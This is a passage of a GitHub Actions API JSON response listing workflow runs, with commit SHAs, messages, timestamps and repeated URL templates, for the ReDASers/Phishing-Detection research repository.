shing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287515722,"node_id":"MDExOldvcmtmbG93UnVuMjg3NTE1NzIy","head_branch":"API_Flatten","head_sha":"de31734a58e996c2425dc15130a929e0a7d14d46","run_number":1070,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285626838,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NjI2ODM4","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515722","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287515722","pull_requests":[],"created_at":"2020-10-04T06:36:21Z","updated_at":"2020-10-04T06:50:44Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515722/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515722/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285626838","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515722/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515722/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287515722/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"de31734a58e996c2425dc15130a929e0a7d14d46","tree_id":"58681a06ba4658b65d57a9d9fb2584c034374691","message":"Documentation","timestamp":"2020-10-04T06:36:15Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287502807,"node_id":"MDExOldvcmtmbG93UnVuMjg3NTAyODA3","head_branch":"API_Flatten","head_sha":"26e0d505013b23f53abd5799c8f796e81c32d820","run_number":280,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1285602835,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NjAyODM1","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287502807","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287502807","pull_requests":[],"created_at":"2020-10-04T06:22:09Z","updated_at":"2020-10-04T06:24:50Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287502807/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287502807/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285602835","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287502807/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287502807/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287502807/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"26e0d505013b23f53abd5799c8f796e81c32d820","tree_id":"b85cfb74d5b55ec2f911bfff2eb95ffb574f8feb","message":"Exposed extract_features_from_single","timestamp":"2020-10-04T05:59:24Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287480129,"node_id":"MDExOldvcmtmbG93UnVuMjg3NDgwMTI5","head_branch":"API_Flatten","head_sha":"26e0d505013b23f53abd5799c8f796e81c32d820","run_number":1069,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285563167,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NTYzMTY3","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287480129","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287480129","pull_requests":[],"created_at":"2020-10-04T05:59:29Z","updated_at":"2020-10-04T06:13:57Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287480129/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287480129/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285563167","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287480129/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287480129/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287480129/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"26e0d505013b23f53abd5799c8f796e81c32d820","tree_id":"b85cfb74d5b55ec2f911bfff2eb95ffb574f8feb","message":"Exposed extract_features_from_single","timestamp":"2020-10-04T05:59:24Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{